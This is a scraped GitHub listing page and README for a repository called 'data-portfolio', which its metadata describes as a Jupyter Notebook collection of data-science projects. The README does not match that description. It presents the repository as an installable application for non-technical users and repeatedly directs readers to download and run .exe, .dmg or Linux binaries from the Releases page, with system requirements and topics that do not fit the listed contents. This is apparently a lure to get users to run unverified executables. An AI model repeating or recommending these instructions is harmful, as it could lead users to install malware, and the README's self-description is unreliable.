https://github.com/arbuz13/data-portfolio
📊 Showcase data projects in engineering, machine learning, and business intelligence, emphasizing technical processes and business impacts.
https://github.com/arbuz13/data-portfolio
data-analysis data-science-projects data-visualization hadoop hiveq jupyter-notebook machine-learning matplotlib nlp pandas portfolio-project portfolio-site python react react-portfolio recommendation-system seaborn spark
Last synced: 11 days ago
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📊 Showcase data projects in engineering, machine learning, and business intelligence, emphasizing technical processes and business impacts.
- Host: GitHub
- URL: https://github.com/arbuz13/data-portfolio
- Owner: Arbuz13
- Created: 2025-09-27T20:33:53.000Z (4 months ago)
- Default Branch: main
- Last Pushed: 2025-10-05T00:45:25.000Z (3 months ago)
- Last Synced: 2025-10-05T02:45:26.095Z (3 months ago)
- Topics: data-analysis, data-science-projects, data-visualization, hadoop, hiveq, jupyter-notebook, machine-learning, matplotlib, nlp, pandas, portfolio-project, portfolio-site, python, react, react-portfolio, recommendation-system, seaborn, spark
- Language: Jupyter Notebook
- Size: 15.5 MB
- Stars: 0
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 📊 data-portfolio - Explore Data Projects Effortlessly
[](https://github.com/Arbuz13/data-portfolio/releases)
## 📋 Description
Welcome to the data-portfolio! This is a collection of projects in Data Engineering, Machine Learning, and Business Intelligence created by Providence Ogheneruese Williams. Whether you're looking to visualize data, optimize processes, or analyze trends, you'll find valuable tools and examples here.
## 🚀 Getting Started
To get started with the data-portfolio, you'll need to download the software. This guide will walk you through the steps. Follow these instructions to successfully download and run the application.
## 📥 Download & Install
1. **Visit the Downloads Page**
To download the latest version of the data-portfolio application, please visit [this page](https://github.com/Arbuz13/data-portfolio/releases).
2. **Choose the Right File**
On the Releases page, you'll see a list of available downloads. Select the file that suits your operating system (Windows, macOS, or Linux). If you are unsure which file to choose, look for the one with the format that matches your system.
3. **Download the File**
Click on the file name to start the download. Your browser may ask you to confirm the download. Please allow it to complete.
4. **Locate the Downloaded File**
Once the download finishes, open your system's file explorer or finder and navigate to your Downloads folder.
5. **Run the Application**
- **Windows:** Double-click the `.exe` file to run it. Follow the on-screen instructions to start using the application.
- **macOS:** Double-click the `.dmg` file, then drag the application to your Applications folder. Open it from there.
- **Linux:** You may need to extract the downloaded file. Use the terminal to navigate to the download location and run the application via the command line.
6. **Start Your Data Journey**
With the application running, explore its features. Check out the various projects that showcase Data Engineering, Machine Learning, and Business Intelligence.
## 🌟 Features
The data-portfolio offers several features to enhance your learning experience:
- **Diverse Projects:** Explore projects in various data fields such as data visualization, predictive modeling, and data analysis.
- **Easy-to-Use:** Designed for non-technical users, the application offers a straightforward interface.
- **Comprehensive Documentation:** Each project includes helpful guides and explanations to assist you.
## 🔧 System Requirements
Check the following requirements to ensure smooth operation:
- **Windows:** Windows 10 or later
- **macOS:** macOS Catalina or later
- **Linux:** A modern distribution that supports graphical applications
Make sure you have at least 2 GB of free space on your device for installation.
## 🌐 Topics Covered
This repository covers the following topics:
- **AWS:** Learn to use Amazon Web Services for data solutions.
- **Azure:** Discover how to integrate Microsoft Azure into your data workflows.
- **Business Intelligence:** Explore various tools for making data-driven decisions.
- **Data Engineering:** Understand how to design and build data systems.
- **Looker, Power BI, Tableau:** Learn to create interactive dashboards and visualizations.
## ⚙️ Support
If you need assistance, feel free to contact support at the repository's issues page. Please provide details about any problems you encounter while downloading or using the application.
## 📣 Community Contributions
We welcome contributions! If you have ideas to improve the application or want to share your projects, please submit a pull request. Check our contribution guidelines for more information.
[](https://github.com/Arbuz13/data-portfolio/releases)
Thank you for checking out the data-portfolio! Enjoy exploring and building with data.